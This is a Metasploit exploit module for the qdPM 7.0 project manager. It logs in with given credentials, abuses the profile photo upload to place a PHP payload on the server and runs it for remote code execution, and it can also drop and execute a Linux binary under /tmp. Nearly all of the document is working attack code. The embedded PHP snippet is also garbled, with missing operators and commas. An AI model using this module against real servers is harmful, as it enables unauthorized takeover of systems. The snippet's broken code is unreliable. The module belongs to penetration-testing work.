qdPM 7.0 - Arbitrary PHP File Upload Vulnerability



##

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::EXE

    def initialize(info={})
        super(update_info(info,
            'Name'           => "qdPM v7 Arbitrary PHP File Upload Vulnerability",
            'Description'    => %q{
                This module exploits a vulnerability found in qdPM - a web-based project management
                software. The user profile's photo upload feature can be abused to upload any
                arbitrary file onto the victim server machine, which allows remote code execution.
                Please note in order to use this module, you must have a valid credential to sign
                in.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'loneferret', #Discovery, PoC
                    'sinn3r'      #Metasploit
                ],
            'References'     =>
                [
                    ['OSVDB', '82978'],
                    ['EDB', '19154']
                ],
            'Payload'        =>
                {
                    'BadChars' => "\x00"
                },
            'DefaultOptions'  =>
                {
                    'ExitFunction' => "none"
                },
            'Platform'       => ['linux', 'php'],
            'Targets'        =>
                [
                    [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' }  ],
                    [ 'Linux x86'            , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
                ],
            'Privileged'     => false,
            'DisclosureDate' => "Jun 14 2012",
            'DefaultTarget'  => 0))

        register_options(
            [
                OptString.new('TARGETURI', [true, 'The base directory to sflog!', '/qdPM/']),
                OptString.new('USERNAME',  [true, 'The username to login with']),
                OptString.new('PASSWORD',  [true, 'The password to login with'])
            ], self.class)
    end

    def check
        target_uri.path << '/' if target_uri.path[-1,1] != '/'
        base = File.dirname("#{target_uri.path}.")

        res = send_request_raw({'uri'=>"#{base}/index.php"})
        if res and res.body =~ /<div id\=\"footer\"\>.+qdPM ([\d])\.([\d]).+\<\/div\>/m
            major, minor = $1, $2
            return Exploit::CheckCode::Vulnerable if (major+minor).to_i <= 70
        end

        return Exploit::CheckCode::Safe
    end

    def get_write_exec_payload(fname, data)
        p = Rex::Text.encode_base64(generate_payload_exe)
        php = %Q|
        <?php
        $f 
fopen("#{fname}""wb");
        
fwrite($fbase64_decode("#{p}"));
        
fclose($f);
        
exec("chmod 777 #{fname}");
        
exec("#{fname}");
        
?>
        |
        php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ')
        return php
    end

    def on_new_session(cli)
        if cli.type == "meterpreter"
            cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
        end

        @clean_files.each do |f|
            print_status("#{@peer} - Removing: #{f}")
            begin
                if cli.type == 'meterpreter'
                    cli.fs.file.rm(f)
                else
                    cli.shell_command_token("rm #{f}")
                end
            rescue ::Exception => e
                print_error("#{@peer} - Unable to remove #{f}: #{e.message}")
            end
        end
    end

    def login(base, username, password)
        # Login
        res = send_request_cgi({
            'method'    => 'POST',
            'uri'       => "#{base}/index.php/home/login",
            'vars_post' => {
                'login[email]'    => username,
                'login[password]' => password,
                'http_referer'    => ''
            },
            # This needs to be set, otherwise we get two cookies... I don't need two cookies.
            'cookie'     => "qdpm=#{Rex::Text.rand_text_alpha(27)}",
            'headers'   => {
                'Origin' => "http://#{rhost}",
                'Referer' => "http://#{rhost}/#{base}/index.php/home/login"
            }
        })

        cookie = (res and res.headers['Set-Cookie'] =~ /qdpm\=.+\;/) ? res.headers['Set-Cookie'] : ''
        return {} if cookie.empty?
        cookie = cookie.to_s.scan(/(qdpm\=\w+)\;/).flatten[0]

        # Get user data
        vprint_status("#{@peer} - Enumerating user data")
        res = send_request_raw({
            'uri' => "#{base}/index.php/home/myAccount",
            'cookie' => cookie
        })

        return {} if not res
        if res.code == 404
            print_error("#{@peer} - #{username} does not actually have a 'myAccount' page")
            return {}
        end

        b = res.body

        user_id = b.scan(/\<input type\=\"hidden\" name\=\"users\[id\]\" value\=\"(.+)\" id\=\"users\_id\" \/\>/).flatten[0] || ''
        group_id = b.scan(/\<input type\=\"hidden\" name\=\"users\[users\_group\_id\]\" value\=\"(.+)\" id\=\"users\_users\_group\_id\" \/>/).flatten[0] || ''
        user_active = b.scan(/\<input type\=\"hidden\" name\=\"users\[active\]\" value\=\"(.+)\" id\=\"users\_active\" \/\>/).flatten[0] || ''

        opts = {
            'cookie'     => cookie,
            'user_id'     => user_id,
            'group_id'    => group_id,
            'user_active' => user_active
        }

        return opts
    end

    def upload_php(base, opts)
        fname       = opts['filename']
        php_payload = opts['data']
        user_id     = opts['user_id']
        group_id    = opts['group_id']
        user_active = opts['user_active']
        username    = opts['username']
        email       = opts['email']
        cookie      = opts['cookie']

        data = Rex::MIME::Message.new
        data.add_part('UsersAccountForm', nil, nil, 'form-data; name="formName"')
        data.add_part('put', nil, nil, 'form-data; name="sf_method"')
        data.add_part(user_id, nil, nil, 'form-data; name="users[id]"')
        data.add_part(group_id, nil, nil, 'form-data; name="users[users_group_id]"')
        data.add_part(user_active, nil, nil, 'form-data; name="users[active]"')
        data.add_part('', nil, nil, 'form-data; name="users[skin]"')
        data.add_part(username, nil, nil, 'form-data; name="users[name]"')
        data.add_part(php_payload, nil, nil, "form-data; name=\"users[photo]\"; filename=\"#{fname}\"")
        data.add_part('', nil, nil, 'form-data; name="preview_photo"')
        data.add_part(email, nil, nil, 'form-data; name="users[email]"')
        data.add_part('en_US', nil, nil, 'form-data; name="users[culture]"')
        data.add_part('', nil, nil, 'form-data; name="new_password"')

        post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

        res = send_request_cgi({
            'method'  => 'POST',
            'uri'     => "#{base}/index.php/home/myAccount",
            'ctype'   => "multipart/form-data; boundary=#{data.bound}",
            'data'    => post_data,
            'cookie'  => cookie,
            'headers' => {
                'Origin' => "http://#{rhost}",
                'Referer' => "http://#{rhost}#{base}/index.php/home/myAccount"
            }
        })

        return (res and res.headers['Location'] =~ /home\/myAccount$/) ? true : false
    end

    def exec_php(base, opts)
        cookie = opts['cookie']

        # When we upload a file, it will be renamed. The 'myAccount' page has that info.
        res = send_request_cgi({
            'uri'    => "#{base}/index.php/home/myAccount",
            'cookie' => cookie
        })

        if not res
            print_error("#{@peer} - Unable to request the file")
            return
        end

        fname = res.body.scan(/\<input type\=\"hidden\" name\=\"preview\_photo\" id\=\"preview\_photo\" value\=\"(\d+\-\w+\.php)\" \/\>/).flatten[0] || ''
        if fname.empty?
            print_error("#{@peer} - Unable to extract the real filename")
            return
        end

        # Now that we have the filename, request it
        print_status("#{@peer} - Uploaded file was renmaed as '#{fname}'")
        send_request_raw({'uri'=>"#{base}/uploads/users/#{fname}"})
        handler
    end

    def exploit
        @peer = "#{rhost}:#{rport}"

        target_uri.path << '/' if target_uri.path[-1,1] != '/'
        base = File.dirname("#{target_uri.path}.")

        user = datastore['USERNAME']
        pass = datastore['PASSWORD']
        print_status("#{@peer} - Attempt to login with '#{user}:#{pass}'")
        opts = login(base, user, pass)
        if opts.empty?
            print_error("#{@peer} - Login unsuccessful")
            return
        end

        php_fname = "#{Rex::Text.rand_text_alpha(5)}.php"
        @clean_files = [php_fname]

        case target['Platform']
        when 'php'
            p = "<?php #{payload.encoded} ?>"
        when 'linux'
            bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin"
            @clean_files << bin_name
            bin = generate_payload_exe
            p = get_write_exec_payload("/tmp/#{bin_name}", bin)
        end

        print_status("#{@peer} - Uploading PHP payload (#{p.length.to_s} bytes)...")
        opts = opts.merge({
            'username' => user.scan(/^(.+)\@.+/).flatten[0] || '',
            'email'    => user,
            'filename' => php_fname,
            'data'     => p
        })
        uploader = upload_php(base, opts)
        if not uploader
            print_error("#{@peer} - Unable to upload")
            return
        end

        print_status("#{@peer} - Executing '#{php_fname}'")
        exec_php(base, opts)
    end
end